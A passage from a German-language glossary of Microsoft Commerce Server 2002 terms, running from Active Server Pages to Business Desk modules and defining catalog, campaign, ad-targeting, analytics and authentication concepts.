Eine serverseitige Skriptumgebung für die Erstellung von dynamischen Webseiten oder von Webanwendungen. ASP-Seiten sind Dateien, die HTML-Tags, Text und Skriptanweisungen enthalten. ASP-Seiten können Component Object Model (COM)-Komponenten für Aufgaben wie das Verbinden mit einer Datenbank oder das Durchführen einer Berechnung aufrufen. Mit ASP können Sie interaktive Inhalte zu Webseiten hinzufügen oder ganze Webanwendungen schreiben, die HTML-Seiten als Schnittstelle zu den Kunden verwenden.

Active Template Library (ATL)

Eine Bibliothek von C++-Vorlagen für die Entwicklung von kleinen, leistungsfähigen COM-Komponenten. ATL wurde von Microsoft entwickelt und ist als Bestandteil von Visual C++ verfügbar.

Active User Object (AUO)

Stellt einen einzigen, einheitlichen Mechanismus für den Zugriff auf sämtliche Benutzerprofilinformationen bereit. Skriptautoren müssen also keine Benutzeridentifikation und keinen Profilspeicherort mehr angeben. Ein Systemadministrator kann einen Computer so konfigurieren, dass virtuelle Namespaces aus Profilinformationen festgelegt werden. Hierzu werden die Konfigurationsinformationen angegeben, die für den Zugriff auf Profildaten aus verschiedenen Quellen erforderlich sind.

AUO ist technisch gesehen ein Container für ADSI-Objekte. Ein Systemadministrator legt die Anzahl der im AUO enthaltenen Objekte fest und stellt die Informationen zum Verwalten dieser Objekte bereit. So entsteht ein erweiterbares Modell für das Hinzufügen von neuen Speicheranbietern oder anderen Profilquellen. Durch Schreiben oder Wiederverwenden von ADSI-Anbietern können Sie auf Profilinformationen zugreifen, die sich in einem beliebigen Speicher befinden.

ActiveX Data Objects (ADO)

Ein hochentwickelter, sprachunabhängiger Satz von objektbasierten Datenzugriffsschnittstellen für Datenanwendungen. Mit ADO können Clientanwendungen mithilfe eines OLE DB-Providers auf die Daten eines Datenbankservers zugreifen und diese bearbeiten.

Siehe auch: ActiveX Data Objects (Multidimensional) (ADO MD)

ActiveX Data Objects (Multidimensional) (ADO MD)

Ein hoch entwickelter, sprachunabhängiger Satz von objektbasierten Datenzugriffsschnittstellen für multidimensionale Datenanwendungen. Visual Basic und andere Automatisierungssprachen verwenden ADO MD als Schnittstelle für den Datenzugriff auf multidimensionale Datenspeicher. ADO MD ist ein Bestandteil von ADO ab Version 2.0.

Siehe auch: ActiveX Data Objects (ADO)

Administrator

Siehe Systemadministrator.

ADO

Siehe ActiveX Data Objects.

ADO MD

Siehe ActiveX Data Objects (Multidimensional) (ADO MD).

Adressenliste

Eine Liste, die mit Direct Mailer verwendet wird. Eine Adressenliste enthält fünf Standardfelder: "rcp_email", "rcp_guid", "rcp_fmt", "rcp_locale" und "rcp_url".

ADSI

Siehe Active Directory Service Interfaces.

Affinitätsliste

Eine Benutzerliste, die aus einem von drei Vorhersagemodellen erstellt wird. Transaktionen, Produktsuche und Kombination von Transaktionen und Demographie. Erstellen Sie Affinitätslisten in Business Desk, und exportieren Sie sie anschließend in den Listen-Manager. Danach können Sie eine Direktsendungskampagne für eine Benutzerzielgruppe erstellen, die ein bestimmtes Produkt mit hoher Wahrscheinlichkeit kaufen wird.

Siehe auch: Kampagnen-Manager (Modul), Affinitätslisten (Modul)

Affinitätslisten (Modul)

Das Commerce Server Business Desk-Modul für die Erstellung einer Benutzerliste auf der Grundlage eines der folgenden Vorhersagemodelle: Transaktionen, Produktsuche und Kombination von Transaktionen und Demographie. Nach Erstellung der Benutzerliste können Sie diese in das Modul "Listen-Manager" exportieren und eine Direktsendungskampagne erstellen, die speziell auf die Benutzer der Liste ausgerichtet ist.

Siehe auch: Affinitätsliste

AggregateColumn

Eine Spalte in einer dicht oder gering gefüllten Tabelle, die den in der "PivotColumn" identifizierten Eigenschaften Werte zuweist. Wenn die "PivotColumn" beispielsweise Produkt-SKUs (Stock Keeping Units) enthält, wird in der "AggregateColumn" angegeben, wie oft die einzelnen Produkte verkauft wurden. Enthält die "PivotColumn" z. B. "PageGroupIDs, wird in der "AggregateColumn" angegeben, wie oft die einzelnen Seitengruppen angezeigt wurden. Sind "AdIDs" in der "PivotColumn" enthalten, wird in der "AggregateColumn" angegeben, wie oft auf die einzelnen Anzeigen geklickt wurde. Die "AggregateColumn" wird in der Tabelle "PredictorDataTables" identifiziert.

Siehe auch: Seitengruppe, CaseColumn, Gering gefüllte Tabelle, Dicht gefüllte Tabelle, PivotColumn

Aggregation

Eine Tabelle oder Struktur, die vorberechnete Daten für einen OLAP-Cube (Online Analytical Processing, Analytische Onlineverarbeitung) enthält. Aggregationen ermöglichen schnelle und effiziente Abfragen in multidimensionalen Datenbanken.

Aggregierter Katalog

Ein virtueller Katalog, in dem die Inhalte von zwei oder mehreren Katalogen angezeigt werden. Wenn Sie also beispielsweise Artikel von mehreren Lieferanten verkaufen, von denen Ihnen jeder einen oder mehrere Kataloge schickt, können Sie deren Inhalt zu einem aggregierten Katalog zusammenführen. Dem Benutzer, der Ihre Site besucht, stellt sich ein aggregierter Katalog wie ein einzelner Katalog dar. Ein aggregierter Katalog unterscheidet sich insofern von einem Katalogsatz, als Sie bei Letzterem festlegen können, von welchen Benutzern oder Organisationen der Katalogsatz angezeigt werden kann, während ein aggregierter Katalog allen Benutzern zur Verfügung steht. Um eine höhere Leistungsfähigkeit zu erzielen, wird die Materialisierung aller aggregierten virtuellen Kataloge empfohlen.

Siehe auch: Materialisieren, Virtueller Katalog, Katalogsatz

Aktionsseite

Eine einzelne ASP-Datei, die einen bestimmten Aspekt der mit einem Modul in Commerce Server Business Desk verbundenen Funktionalität bereitstellt. So können mit einer Aktionsseite z. B. die Eigenschaften eines bestimmten Produkts definiert werden. Aktionsseiten werden angezeigt, wenn im Navigationsbereich auf einen Modulnamen geklickt wird oder nachdem auf eine Aufgabenschaltfläche geklickt wurde, die auf einer anderen Aktionsseite in demselben Modul vorhanden ist.

Siehe auch: Statusleiste

Aktualisieren

Das erneute Generieren des Indexes für die Volltextsuche. Wird ausschließlich im Modul "Katalog-Editor" in Commerce Server Business Desk verwendet.

Allgemeines Profil

Alle Profile, die nicht die Profildefinition "Benutzerobjekt" oder "Organisationen" verwenden. Beispielsweise ist "Adresse" ein allgemeines Profil, da es auf der Profildefinition "Adresse" basiert.

Alternative Währung

Die Währungseinheit, die in einer Site dazu verwendet wird, eine zweite Währung für die duale Anzeige zu konvertieren und zu formatieren. Diese Eigenschaft wird vor allem in europäischen Sites verwendet, die mithilfe des EuroDisplay-Objekts Preise sowohl in der Basiswährung als auch in Euro anzeigen.

Alternativtext

Text, der anstelle eines Bildes angezeigt wird, während eine Webseite geladen wird, wenn Grafiken nicht angezeigt werden oder wenn der Benutzer mit der Maus auf die Grafik zeigt. Benutzer, die keinen grafischen Browser verwenden oder keine Grafiken downloaden möchten, können mithilfe des Alternativtextes die nicht angezeigte Grafik erkennen.

Analytische Onlineverarbeitung (OLAP, Online Analytical Processing)

Eine Klasse von Technologien, die zum Zwecke von Echtzeitdatenzugriff und -analyse entworfen wurde. OLAP-Daten werden in einer multidimensionalen Datenbank gespeichert, die jedes Datenattribut ( z B. Produkt, geografisches Verkaufsgebiet oder Zeitraum) als eigenständige Dimension betrachtet. OLAP-Daten werden gruppiert und über gemeinsame Dimensionen in Cubes organisiert. Das Data Warehouse verwendet OLAP-Cubes zum Speichern importierter Daten, was die Berichts- und Abfragenbearbeitung beschleunigt.

Siehe auch: Dimension, Cube

Anforderung

Jede Verbindung mit einer Internetsite, bei der Inhalte angefordert werden, die von einem URL abgerufen werden müssen. Im Gegensatz zu Zugriffen stehen Anforderungen in Beziehung zum Inhalt und zum Benutzerverhalten. Wenn beispielsweise ein Benutzer eine HTML-Seite mit drei Grafikdateien anfordert, nimmt der Webserver u. U. einen Protokolldateieintrag für die drei Grafikdateien und die HTML-Seite vor. Außerdem fügt er vielleicht einige Zeilen für den allgemeinen Aufwand hinzu. Für die Berichte, die im Analysemodul in Business Desk ausgeführt werden, wird jedoch nur eine einzige Anforderung berücksichtigt. Auch bekannt als Webanforderung oder HTTP-Anforderung.

Anforderungsdauer

Die Zeit zwischen zwei aufeinander folgenden Anforderungen im Rahmen eines Besuchs.

Anonyme Authentifizierung

Eines der Authentifizierungsverfahren, die in IIS auf Website- oder Anwendungsebene eingestellt werden können. Die anonyme Authentifizierung dient dazu, eine anonyme Web- bzw. HTTP-Verbindung ohne Angabe eines Benutzernamens oder eines Kennworts herzustellen. Sie wird üblicherweise in den öffentlichen Bereichen einer Internetsite verwendet. Wenn Sie die anonyme Authentifizierung für eine Site aktivieren, wird selbst dann eine anonyme Verbindung aufgebaut, wenn auch der authentifizierte Zugriff aktiviert wurde, es sei denn, für die angeforderte Datei gelten strengere NTFS-Rechte. Wird auch als anonymer Zugriff bezeichnet.

Anonymer Benutzer

Ein Benutzer, der ohne Angabe eines Benutzernamens und eines Kennworts auf den Inhalt in einer Website zugreift. Wird manchmal als Gastbenutzer bezeichnet.

Anonymer Zugriff

Siehe Anonyme Authentifizierung.

Anwendung

Aus Sicht der Commerce Server 2002-Verwaltung ist eine Anwendung eine ASP-Anwendung, auf die über einen einzelnen URL (Uniform Resource Locator) zugegriffen wird. Eine Anwendung wird sowohl in der Konsolenstruktur von Commerce Server als auch in der von IIS angezeigt. Die in der Commerce Server Manager-Konsolenstruktur angezeigte Anwendung ist eine logische Darstellung der Anwendung in IIS.

Anwendungsstandardkonfiguration (Ressource)

Eine durch den Commerce Server-Manager verwaltete Commerce Server-Ressource mit Eigenschaften auf Websiteebene. Verwenden Sie die Anwendungsstandardkonfiguration zum Festlegen von Eigenschaften, die die Sitefunktionalität in Bereichen wie Währungsoptionen, Rechnungsstellungsoptionen und BizTalk Server-Integration bestimmen.

Anzeige

Ein bestimmter Inhalt, der von Commerce Server basierend auf einer bestimmten, als Bereitstellungsbedarf (NOD, Need of Delivery) bezeichneten Formel übermittelt wird.

Anzeigelimit

Gibt an, wie oft einem Benutzer während einer Sitzung ein Inhaltsbestandteil angezeigt werden kann. Standardmäßig ist kein Anzeigelimit festgelegt. Es wird empfohlen, für die Darstellungsobergrenze keinen größeren Wert als 10 Darstellungen pro Benutzer und Sitzung festzulegen.

Anzeigenanforderung

Eine Gelegenheit, ein Werbeelement an einen Websitebesucher zu übermitteln. Anforderungen werden durch bestimmte Ereignisse in einer Site ausgelöst, z. B. die Anforderung einer bestimmten Seite oder den Erwerb eines bestimmten Artikels. Die Anzeige, mit der die Anforderung erfüllt wird, wird durch den Bereitstellungsbedarf (NOD, Need of Delivery) bestimmt. Wenn sie mithilfe des Moduls "Kampagnen-Manager" eine Kampagne oder einen Kampagnenartikel erstellen, können Sie die Anzahl der Anzeigenanforderungen oder Anzeigenklicks eingeben, die für die Kampagne oder den Kampagnenartikel von Commerce Server aufgezeichnet werden sollen.

Siehe auch: Anzeigenklickrate, Kampagnenzielfestlegung, Bereitstellungsbedarf (NOD, Need of Delivery), Bezahlte Anzeige, Erfolgsquote

Anzeigen-ID

Die computergenerierte Identifizierungsnummer für eine Anzeige, die mithilfe des Moduls "Kampagnen-Manager" zu Commerce Server hinzugefügt wird.

Anzeigenklick

Das Klicken auf eine Anzeige oder ein anderes, durch einen Link verbundenes Element auf einer Webseite, das vom Server aufgezeichnet wird und zur Anzeige einer neuen Seite oder eines neuen Inhalts führt.

Siehe auch: Anzeigenklickrate, Prozentsatz der durchgeklickten Anzeigen

Anzeigenklickrate

Der Prozentsatz der Anzeigenanforderungen, die zu einem Anzeigenklick geführt haben.

Siehe auch: Anzeigenklick, Anzeigenanforderung

Anzeigenziel

Das Ergebnis eines Satzes von Ausdrücken, das die Umstände oder Benutzergruppe beschreibt, auf die eine Anzeige ausgerichtet ist.

Apartmentthreadkomponenten

COM-Komponenten, die sich in einem einzigen Ausführungsthread befinden. Apartmentthreadkomponenten benötigen COM für die Synchronisation eingehender Aufrufe. Alle mit Visual Basic erstellten COM-Objekte sind über einen Apartmentthread verbunden.

Application Center 2000

Ein Entwicklungs- und Verwaltungstool von Microsoft für auf Windows 2000 basierende hochverfügbare Webanwendungen.

ASP

Siehe Active Server Pages (ASP).

ASP.NET

Das Framework zum Erstellen von serverbasierten Webanwendungen. Eine Weiterentwicklung der Active Server Pages (ASP) für den verwalteten Codebereich.

Siehe auch: Verwalteter Code, .NET Framework, Active Server Page-Erweiterung (ASPX)

ASPX

Siehe Active Server Page-Erweiterung (ASPX).

Assembly

Eine Sammlung von Funktionen, die als einzelne Implementierungseinheit und Version (in einer oder mehreren Dateien) erstellt und bereitgestellt werden. Eine Assembly ist der Grundbaustein einer .NET-Anwendung. Alle verwalteten Typen und Ressourcen werden so gekennzeichnet, dass sie entweder nur innerhalb der jeweiligen Implementierungseinheit zugänglich sind oder zur Verwendung durch Code außerhalb der Einheit exportiert werden können. Zur Laufzeit legt die Assembly den Namensbereich zum Lösen von Anforderungen fest, und die Sichtbarkeitsbegrenzungen werden erzwungen. Die Assembly kann zur Laufzeit für jedes ausgeführte Objekt bestimmt und gesucht werden, da jeder Typ im Kontext einer Assembly geladen wird.

Siehe auch: Namespace, Primäre Interop-Assembly (PIA)

Asymmetrische Verschlüsselung (AV)

Eine Verschlüsselungsmethode, bei der zwei Verschlüsselungsschlüssel verwendet werden, die mathematisch miteinander verbunden sind. Einer der Schlüssel wird als privater Schlüssel bezeichnet und wird vertraulich behandelt. Bei dem anderen Schlüssel handelt es sich um den öffentlichen Schlüssel, der allen potentiellen Korrespondenzpartnern ohne jegliche Einschränkungen übermittelt wird. Aufgrund der Komplexität der Beziehung zwischen dem öffentlichen und dem privaten Schlüssel ist es computertechnisch nicht möglich, die beiden Schlüssel voneinander zu unterscheiden, vorausgesetzt, dass diese lang genug sind.

ATL

Siehe Active Template Library (ATL).

ATL-Pipelinekomponenten-Assistent

Ein Visual C++-Assistent, der mithilfe von ATL und weiteren Vorlagen die Entwicklung von Pipelinekomponenten erleichtert.

Attribut

Ein Merkmal, das eine Eigenschaft, ein Objekt oder eine Person beschreibt. Attribute können eine Vielzahl von Informationen beinhalten, z. B. den Datentyp einer Eigenschaft (Zahl, Text, Dezimalzahl), ob die Eigenschaft in das Commerce Server-Data Warehouse exportiert wird, ob sie für Benutzer sichtbar ist oder ob sie volltextindiziert ist. Sie kann sich auf einen Satz von Werten wie beispielsweise Haarfarbe oder Alter beziehen. Abhängig davon, welche Eigenschaft oder welches Objekt beschrieben wird, könnte ein Attribut auch als Variable, Spalte oder Dimension bezeichnet werden.

Siehe auch: Knoten

Aufteilen

Das Speichern von Daten über zwei oder mehr physische Datenträger hinweg. Daten auf aufgeteilten Datenträgern werden abwechselnd gleichmäßig (in "Streifen") auf die aufgeteilten Festplatten geschrieben. Aufgeteilte Datenträger bieten von allen unter Windows 2000 verfügbaren Datenträgern die beste Leistung, sind jedoch nicht fehlertolerant. Falls eine Festplatte in einem aufgeteilten Datenträger ausfällt, gehen die Daten des gesamten Datenträgers verloren. Aufgeteilte Datenträger können nur auf dynamischen Festplatten erstellt werden. Bei aufgeteilten Datenträgern ist keine Spiegelung oder Erweiterung möglich. Unter Windows NT 4.0 waren aufgeteilte Datenträger als Stripesets bekannt.

AUO

Siehe Active User Object (AUO).

Ausdruck

Eine Bedingung, die gegen Profile ausgewertet wird, um zu bestimmen, ob Inhalte geliefert werden sollen oder eine andere Aktion ausgeführt werden soll. Ein Ausdruck kann "user.totalvisit > 100" (mehr als 100 Besuche eines Benutzers) sein. Wenn dieser Ausdruck den Wert 'True' annimmt, wird dem Benutzer der Inhaltsbestandteil angezeigt. Verwenden Sie das Modul "Kampagnenausdrücke" dazu, Ausdrücke zu erstellen und diese Ausdrücke dann mit Aktionen zu kombinieren, die nach dem Auswerten der Ausdrücke ausgeführt werden sollen.

Siehe auch: Ausdrucks-Generator

Ausdrucks-Generator

Ein Tool, das Sie zum Erstellen eines Ausdrucks verwenden. Der Ausdrucksgenerator enthält eine Liste von gebräuchlichen Ausdrücken, aus der Sie auswählen können, um die Eigenschaften festzulegen, die Sie gezielt ansprechen möchten. Sie greifen beim Erstellen von neuen Zielausdrücken oder Katalogausdrücken vom Modul "Kampagnenausdrücke" aus auf den Ausdrucks-Generator zu.

Siehe auch: Ausdruck

Ausdrucks-Generator für die Datenbindung

Ein Tool, das über Microsoft Visual Studio .NET verfügbar ist, wenn dieses mit Commerce Server 2002 installiert wird. Der Ausdrucks-Generator für die Datenbindung generiert Ausdrücke für die Datenbindung aus den folgenden drei Commerce Server-Systemen: Produktkatalogsystem, Bestellsystem und Profilsystem

Ausdrucksspeicher

Die Tabellen einer Commerce Server-Datenbank, in der Ausdrucksinformationen gespeichert werden.

Siehe auch: Speicher

Ausgabeanteil

Der Anteil der Eigenschaften, die von einem Analysemodell vorhergesagt werden. Wenn beispielsweise in einem Analysemodell demographische Eigenschaften zum Vorhersagen von Produktkäufen verwendet werden und für den Ausgabeeigenschaftsanteil 0,5 festgelegt wird, wird nur die obere Hälfte der wichtigsten gekauften Produkte vorhergesagt.

Siehe auch: Eingabeanteil

Authentifizierter Zugriff

Eine Benutzerzugriffsoption, die in IIS auf Standardwebsite- oder Anwendungsebene festgelegt werden kann. Im Gegensatz zum anonymen Zugriff benötigt der Benutzer für den authentifizierten Zugriff auf die Site ein gültiges Konto und ein Kennwort. Die drei Arten des authentifizierten Zugriffs sind "Einfache Authentifizierung", "Digestauthentifizierung" und "Integrierte Windows-Authentifizierung".

Authentifizierungsdienst

Siehe CS-Authentifizierung (Ressource).

Authentifizierungsticket

Ein Ticket, das Commerce Server für registrierte Benutzer erstellt. Wird auch als MSCSAuth-Ticket bezeichnet.

Siehe auch: Ticket, Profilticket

Autorisierung

Ein Vorgang, bei dem überprüft wird, ob ein Benutzer für den Zugriff auf eine Webseite oder eine Datenbank oder zum Ausführen von Aufgaben wie das Sichern von Daten berechtigt ist. Die Autorisierung wird in der Regel von einem Systemadministrator oder Siteentwickler eingerichtet und vom Computer überprüft und erteilt. Der Benutzer stellt eine Identifikation bereit, z. B. eine Codenummer oder ein Kennwort, das vom Computer mit den internen Datensätzen verglichen wird.

AV

Siehe asymmetrische Verschlüsselung

B

Basiskatalog

Ein Quellkatalog, von dem ein virtueller Katalog abgeleitet wird.

Siehe auch: Katalog, Katalogsatz, Virtueller Katalog, Materialisieren

Basisklassenbibliothek (Base Class Library, BCL)

Eine Sammlung von Klassen, Schnittstellen und Wertetypen, die im Commerce Server .NET Application Framework enthalten sind. Diese Bibliothek bietet Zugang zur Laufzeit-Commerce Server-Funktionalität und ist so konzipiert, dass sie die Basis bildet, auf der .NET-basierte Commerce Server-Anwendungen, -Komponenten und Steuerelemente aufbauen.

Basiswährung

Die von einem Unternehmen zur Aufzeichnung aller Transaktionen im Hauptbuch verwendete Währung bzw. die Hauptwährung, mit der das Unternehmen alle Bankgeschäfte abwickelt. Die Basiswährung wird häufig auch als Rechnungswährung, gesetzliches Zahlungsmittel oder Buchungswährung eines Unternehmens bezeichnet. Bestellungen werden von der Order Processing Pipeline immer unter Verwendung der Basiswährung der Website verarbeitet. Die Basiswährung muss nicht mit der Kundenwährung und der Lieferantenwährung übereinstimmen. Sie wird in der Kopfzeile des Bestellformulars im Feld "billing_currency" gespeichert.

Siehe auch: Kundenwährung, Bestellung in mehreren Währungen, Transaktion in mehreren Währungen, Lieferantenwährung

BCL

Siehe Basisklassenbibliothek (Base Class Library, BCL).

BCP

Siehe Massenkopierprogramm (BCP).

Bearbeitungsseite

Eine der zwei Haupt-Aktionsseitentypen in Commerce Server Business Desk. Bearbeitungsseiten stellen Mechanismen zum Ändern von Daten in Business Desk zur Verfügung. Bearbeitungsseiten verwenden den Commerce Server Business Desk-Arbeitsbereich nicht gemeinsam mit dem Navigationsbereich. Der Navigationsbereich ist ausgeblendet, wenn Bearbeitungsseiten gerendert werden; dadurch wird das Navigieren zu einem anderen Modul so lange verhindert, bis die Bearbeitungsseite verlassen wird und der Benutzer zu einer Listenseite zurückkehrt.

Siehe auch: Listenseite

Belastungstest

Ein an einer Commerce Server-Anwendung durchgeführter Test, um sicherzustellen, dass die erwartete Anzahl gleichzeitiger Benutzer unterstützt wird und Spitzen der Benutzerlast ohne Leistungseinbußen adäquat bewältigt werden können. Der Belastungstest wird mit einem Belastungstool durchgeführt, das Belastungen generiert, die vom Systemadministrator definiert und dem erwarteten Verwendungsmuster der Website angenähert werden. Dies wird auch als Testen unter Belastung bezeichnet.

Benutzer

Eine Person, die eine E-Commerce-Site mindestens einmal besucht. Benutzer bezieht sich auf jede Person, die in der Website klickt, unabhängig davon, ob es sich um einen registrierten oder um einen anonymen Benutzer handelt.

Siehe auch: Verschiedene Benutzer

Benutzer (Modul)

Ein Modul von Commerce Server Business Desk, das zum Ändern von Benutzerdatensätzen sowie zum Hinzufügen und Löschen von Benutzerinformationen verwendet wird.

Benutzerdefinierter Katalog

Ein Katalog, der dieselben Kategorien und Produkte wie der Basiskatalog und zusätzlich benutzerdefinierte Preisberechnungsregeln für die Produkte enthält. Benutzerdefinierte Kataloge sind ein Feature von Commerce Server 2000. Sie werden in Commerce Server 2002 durch virtuelle Kataloge ersetzt.

Siehe auch: Virtueller Katalog

Benutzerdefinierter Preis

Die spezifischen Preisberechnungsregeln, die auf Produkte in einem virtuellen Katalog anzuwenden sind. Es gibt drei Arten von benutzerdefinierten Preisen: prozentuale Preissenkung, Festbetragspreisnachlass und expliziter Preis.

Siehe auch: Virtueller Katalog

Benutzerliste

Eine Liste mit der Spalte "rcp_guid", die Benutzer-IDs enthält.

Benutzeroberflächenebene

Ein oder mehrere Programme, mit dem/denen Benutzer interagieren. In einer Commerce Server-Installation gehören zur Benutzeroberflächenebene die E-Commerce-Webanwendung und die Business Desk-Anwendung.

Benutzerprofil

Ein Satz vordefinierter Eigenschaften, die einen Benutzer beschreiben. Name, Adresse und Geschlechtseigenschaften können beispielsweise ein Benutzerprofil darstellen.

Berechtigungen (Modul)

Das Commerce Server Business Desk-Modul, mit dem die Sicherheitsberechtigungen für alle Business Desk-Module festgelegt werden.

Siehe auch: Bereich, Entität, Element, Windows-Konto

Berechtigungen (Ressource)

Siehe Business Desk-Berechtigungen (Ressource).

Bereich

Eine Gruppierung für Sicherheitsentitäten benutzerdefinierter Module, die innerhalb von Business Desk gesichert werden. Business Desk enthält zwei Standardbereiche: Kataloge und Profile. Ihr Systemadministrator kann Business Desk weitere Bereiche hinzufügen, wenn Sie weitere benutzerdefinierte Gruppen erstellen möchten.

Siehe auch: Berechtigungen (Modul), Entität, Element

Bereitstellungsbedarf (NOD, Need of Delivery)

Die Formel, die von Commerce Server zum Bestimmen der Zeit und Häufigkeit verwendet wird, mit der es einen Bestandteil des Inhalts übermittelt. Diese Formel berücksichtigt die Gesamtmenge der zu liefernden Inhalte sowie den Zeitraum, in dem diese Menge geliefert werden muss. Der Bereitstellungsbedarf wird für jede Anzeigenanforderung durch Content Selection Framework berechnet, nachdem es diese bearbeitet hat. Der Bereitstellungsbedarf wird auf bezahlte Anzeigen angewendet, jedoch nicht auf Eigenwerbung.

Siehe auch: Anzeigenanforderung, Bezahlte Anzeige, Erfolgsquote

Berichte (Modul)

Dieses Modul von Commerce Server Business Desk dient dazu, einen Bericht auszuwählen und auszuführen.

Berichtsdefinition

Die Felder und Abfragen, die mit Daten aufgefüllt werden, wenn ein Bericht ausgeführt wird. Jeder Bericht verfügt über eine eigene Berichtsdefinition. Wenn Sie einen Bericht anpassen, wird die Berichtsdefinition angepasst, nicht der die Daten enthaltende Bericht.

Bestellcodeveröffentlichung (Modul)

Dieses Modul von Commerce Server Business Desk dient dazu, die Site mit neuen Transaktionsinformationen zu aktualisieren, z. B. mit neuen Steuersätzen und Versandarten. Das Modul "Bestellcodes veröffentlichen" leert die Caches, in denen Transaktionsinformationen für die Site gespeichert werden. Sobald die nächste Anforderung für Bestellcodedaten bei Commerce Server eingeht, werden die aktualisierten Daten in die Caches geladen.

Siehe auch: Cache

Bestellformularobjekt

Ein Objekt, in dem Daten über die aktuellen und u. U. auch vergangenen Einkäufe eines bestimmten Benutzers gespeichert werden.

Bestellstatus (Modul)

Dieses Modul von Commerce Server Business Desk wird dazu verwendet, Bestellstatusinformationen anzuzeigen und alle mit einer Bestellung zusammenhängenden Details darzustellen, einschließlich der Nachrichtenkopf- und Einzelposteninformationen.

Bestellstatuscode

Ein numerischer Datencode, der in Commerce Server Business Desk verwendet wird, um die verschiedenen Bestellstatustypen zu identifizieren, die in Ihrer Website verwendet werden. Sie können beispielsweise Bestellstatuscodes erstellen, um gespeicherte, gelöschte oder unbearbeitete Bestellungen zu definieren.

Bestellung

Ein Onlineeinkauf, der von einem Benutzer an Ihre Website übermittelt wird. Eine Bestellung enthält normalerweise ein oder mehrere Artikel, den Namen und die Adresse des Kunden sowie ein Zahlungsformular für den Einkauf.

Bestellung in mehreren Währungen

Ein Onlineeinkauf von Artikeln, die in verschiedenen Währungen ausgezeichnet sind. Beispielsweise kann eine Firma von einem Hersteller Teile bestellen, die teils in US-Dollar, teils in Schweizer Franken ausgezeichnet sind. Damit Bestellungen mit mehreren Währungen in Ihrer Site möglich sind, muss die Order Processing Pipeline von einem Entwickler angepasst werden.

Siehe auch: Kundenwährung, Umrechnungstyp, Basiswährung, Lieferantenwährung

Besuch

Eine Serie von Anforderungen durch einen Benutzer. Es gibt zwei Möglichkeiten, einen Besuch zu beginnen: Die Benutzer können über einen Hyperlink auf die Seite verwiesen werden, oder sie geben den URL der Site direkt in den Browser ein. Ein Besuch endet, wenn ein festgelegter Zeitraum ohne weitere Anforderungen auf der Seite verstrichen ist.

Siehe auch: Abgeschlossener Besuch, Offener Besuch

Besuchsdauer

Der Zeitraum zwischen der ersten und der letzten Anforderung eines Besuchs. Hierzu zählt nicht die Zeit, die der Benutzer mit der Anzeige der letzten Anforderung seines Besuchs verbringt.

Bewertung

Ein Maß dafür, wie genau ein Analysemodell neue Daten vorhersagt. Anhand von Bewertungen lässt sich die Effizienz von Analysemodellen messen, während im Dialogfeld Modellerstellung die Werte für die Stichprobengröße und die Parameter für die Eingabe- und Ausgabeattributanteile angepasst werden.

Siehe auch: Datenanpassungswert, Empfehlungsbewertung, Gemessene Genauigkeit des Stichprobenanteils

Bezahlte Anzeige

Eine Anzeige, die mit bestimmten Lieferzielen übermittelt wird Die Entscheidung, eine Anzeige zu einem bestimmten Zeitpunkt zu übermitteln, basiert auf dem berechneten Bereitstellungsbedarf, bei dem die Gesamtmenge des bereitzustellenden Inhalts (Anzahl der Anzeigen) und der Zeitrahmen, in dem die Anzeige übermittelt werden muss, berücksichtigt werden. Die Kritierien für die Übermittlung bezahlter Anzeigen werden angegeben, d. h. es werden Ziele auf Kampagnen- oder Werbeartikelebene festgelegt. Bei bezahlten Anzeigen, für die die Zielfestlegung auf Kampagnenebene erfolgt, wird für jede Anzeige eine Gewichtung angegeben. Bei bezahlten Anzeigen, für die die Zielfestlegung auf Werbeartikelebene erfolgt, wird für jede Anzeige in der Kampagne die Anzahl der gewünschten Werbeanfragen oder Klicks angegeben.

Siehe auch: Anzeigenanforderung, Kampagnenzielfestlegung, Bereitstellungsbedarf (NOD, Need of Delivery), Gewichtung

Beziehung

Siehe Klassenbeziehung und Klassenelementbeziehung

Biz Data-Dienst

Der Name der Profilressource, wie er in der Datei "pup.log" angezeigt wird.

Siehe auch: Profilressource

BizTalk Server 2000

Ein Microsoft-Produkt, das die Tools und die Infrastruktur bereitstellt, die Unternehmen für den Austausch von Geschäftsdokumenten über verschiedene Plattformen und Betriebssysteme benötigen, ungeachtet der für die Verarbeitung eines Dokuments verwendeten Anwendung.

Block

Die Speicherplatzeinheit, die für ein SQL Server-Objekt (z. B. eine Tabelle oder einen Index) reserviert ist, wenn das Objekt mehr Speicherplatz benötigt. In SQL Server 2000 besteht ein Block aus acht aufeinander folgenden Seiten.

Bogen

Eine grafische Darstellung einer statistischen Beziehung, wie sie in einem Abhängigkeitsnetzwerk verwendet wird. Ein Bogen von Knoten A zu Knoten B bedeutet beispielsweise, dass Attribut A bei der Vorhersage von Attribut B hilft, nicht jedoch, dass Attribut B bei der Vorhersage von Attribut A hilft.

Siehe auch: Abhängigkeitsnetzwerk

Branchencode

Ein Bezeichner für einen bestimmten Industriezweig, beispielsweise für Autos, Luftfahrt oder Getränkehandel. Sie können Branchencodes mithilfe des Moduls "Referenztabellen" erstellen. Branchencodes ermöglichen Ihnen, die mit einer Anzeige verknüpfte Branche zu identifizieren, und können so verhindern, dass zwei Anzeigen von konkurrierenden Anbietern des gleichen Industriezweigs auf der gleichen Seite erscheinen. Branchencodes werden mit den Kampagnen auf Kundenebene verknüpft. Ein Branchencode wird standardmäßig für alle Werbekampagnen des Kunden verwendet. Wenn Sie den Branchencode nicht auf Kundenebene verknüpfen, müssen Sie dies auf der Anzeigenebene tun.

Business Desk

Siehe Commerce Server Business Desk.

Business Desk-Berechtigungen (Ressource)

Eine durch den Commerce Server-Manager verwaltete Commerce Server-Ressource mit Eigenschaften auf Websiteebene. Verwenden Sie die Ressource "Business Desk-Berechtigungen" zum Konfigurieren der Verbindungszeichenfolge für die Datenbank, die die Business Desk-Berechtigungsdaten enthält.

Business Desk-Framework

Ein Satz von HTML-Komponenten (HTCs), Dienstprogrammroutinen, Include- und Konfigurationsdateien, Navigationsmechanismen und Konventionen, der eine einfache, standardisierte Implementierung von Business Desk-Modulen ermöglicht.

Business Desk (Modul)

Eine Auswahl, die Sie im Navigationsbereich von Commerce Server Business Desk treffen können. Sie können beispielsweise das Modul "Kampagnen-Manager", "Katalogdefinitions-Designer" oder "Berichte" auswählen. Jedes Business Desk-Modul stellt einen Satz von ASP-Dateien dar, der einen bestimmten Typ zusammenhängender Funktionalitäten bereitstellt und mit einem oder mehreren Einstiegspunkten aus dem Navigationsbereich ausgestattet ist.

Businessmanager(in)

